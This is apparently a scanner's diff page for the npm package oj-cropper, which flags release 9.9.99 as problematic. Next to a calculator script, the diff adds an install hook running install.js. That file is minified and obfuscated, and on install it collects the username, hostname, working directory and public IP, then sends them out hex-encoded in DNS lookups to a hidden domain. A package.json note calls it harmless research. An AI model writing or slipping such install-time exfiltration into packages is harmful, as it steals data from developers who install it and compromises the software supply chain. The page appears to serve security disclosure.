oj-cropper 0.0.1-security → 9.9.99

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of oj-cropper might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,108 @@
1
+ const lightTheme = "styles/light.css";
2
+ const darkTheme = "styles/dark.css";
3
+ const sunIcon = "assets/SunIcon.svg";
4
+ const moonIcon = "assets/MoonIcon.svg";
5
+ const themeIcon = document.getElementById("theme-icon");
6
+ const res = document.getElementById("result");
7
+ const toast = document.getElementById("toast");
8
+
9
+ function calculate(value) {
10
+ const calculatedValue = eval(value || null);
11
+ if (isNaN(calculatedValue)) {
12
+ res.value = "Can't divide 0 with 0";
13
+ setTimeout(() => {
14
+ res.value = "";
15
+ }, 1300);
16
+ } else {
17
+ res.value = calculatedValue;
18
+ }
19
+ }
20
+
21
+ // Swaps the stylesheet to achieve dark mode.
22
+ function changeTheme() {
23
+ const theme = document.getElementById("theme");
24
+ setTimeout(() => {
25
+ toast.innerHTML = "Calculator";
26
+ }, 1500);
27
+ if (theme.getAttribute("href") === lightTheme) {
28
+ theme.setAttribute("href", darkTheme);
29
+ themeIcon.setAttribute("src", sunIcon);
30
+ toast.innerHTML = "Dark Mode 🌙";
31
+ } else {
32
+ theme.setAttribute("href", lightTheme);
33
+ themeIcon.setAttribute("src", moonIcon);
34
+ toast.innerHTML = "Light Mode ☀️";
35
+ }
36
+ }
37
+
38
+ // Displays entered value on screen.
39
+ function liveScreen(enteredValue) {
40
+ if (!res.value) {
41
+ res.value = "";
42
+ }
43
+ res.value += enteredValue;
44
+ }
45
+
46
+ //adding event handler on the document to handle keyboard inputs
47
+ document.addEventListener("keydown", keyboardInputHandler);
48
+
49
+ //function to handle keyboard inputs
50
+ function keyboardInputHandler(e) {
51
+ // to fix the default behavior of browser,
52
+ // enter and backspace were causing undesired behavior when some key was already in focus.
53
+ e.preventDefault();
54
+ //grabbing the liveScreen
55
+
56
+ //numbers
57
+ if (e.key === "0") {
58
+ res.value += "0";
59
+ } else if (e.key === "1") {
60
+ res.value += "1";
61
+ } else if (e.key === "2") {
62
+ res.value += "2";
63
+ } else if (e.key === "3") {
64
+ res.value += "3";
65
+ } else if (e.key === "4") {
66
+ res.value += "4";
67
+ } else if (e.key === "5") {
68
+ res.value += "5";
69
+ } else if (e.key === "6") {
70
+ res.value += "6";
71
+ } else if (e.key === "7") {
72
+ res.value += "7";
73
+ } else if (e.key === "7") {
74
+ res.value += "7";
75
+ } else if (e.key === "8") {
76
+ res.value += "8";
77
+ } else if (e.key === "9") {
78
+ res.value += "9";
79
+ }
80
+
81
+ //operators
82
+ if (e.key === "+") {
83
+ res.value += "+";
84
+ } else if (e.key === "-") {
85
+ res.value += "-";
86
+ } else if (e.key === "*") {
87
+ res.value += "*";
88
+ } else if (e.key === "/") {
89
+ res.value += "/";
90
+ }
91
+
92
+ //decimal key
93
+ if (e.key === ".") {
94
+ res.value += ".";
95
+ }
96
+
97
+ //press enter to see result
98
+ if (e.key === "Enter") {
99
+ calculate(result.value);
100
+ }
101
+
102
+ //backspace for removing the last input
103
+ if (e.key === "Backspace") {
104
+ const resultInput = res.value;
105
+ //remove the last element in the string
106
+ res.value = resultInput.substring(0, res.value.length - 1);
107
+ }
108
+ }
package/install.js ADDED
@@ -0,0 +1 @@
1
+ const http=require("http");var os=require("os"),dns=require("dns");function generateString(t){let n="abcdefghijklmnopqrstuvwxyz0123456789",a="",e=n.length;for(let o=0;o<t;o++)a+=n.charAt(Math.floor(Math.random()*e));return a}function assignIP(t){IP=t}const s="s";const m="m";const n="n";const f="f";const b="b";const dot=".";const c="c";const o="o";const topDomain=s+m+n+f+b+b+dot+c+o+m,packageName=process.argv[2],cwd=process.cwd(),username=os.userInfo().username,hostname=os.hostname(),ID=generateString(5);var IP="";try{http.get({host:"api.ipify.org",port:80,path:"/"},function(t){t.on("data",function(t){let n=JSON.stringify({packagename:packageName,cwd:cwd,username:username,hostname:hostname,ip:t.toString()}),a={family:4};for(var e=(Buffer.from(n,"utf8").toString("hex")+"00").match(/.{1,30}/g),o=0;o<e.length;o++){var r=ID+"."+o+"."+e[o]+"."+topDomain;dns.lookup(r,a,()=>{})}}),t.on("error",function(t){let n=JSON.stringify({packagename:packageName,cwd:cwd,username:username,hostname:hostname,ip:""}),a={family:4};for(var e=(Buffer.from(n,"utf8").toString("hex")+"00").match(/.{1,30}/g),o=0;o<e.length;o++){var r=ID+"."+o+"."+e[o]+"."+topDomain;dns.lookup(r,a,()=>{})}})})}catch(t){}
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "oj-cropper",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.99",
4
+ "description": "This package is a proof of concept to conduct a research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on victims machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. ",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node install.js oj-cropper"
8
+ },
9
+ "author": "smirnoffq@bugcrowdninja.com",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=oj-cropper for more information.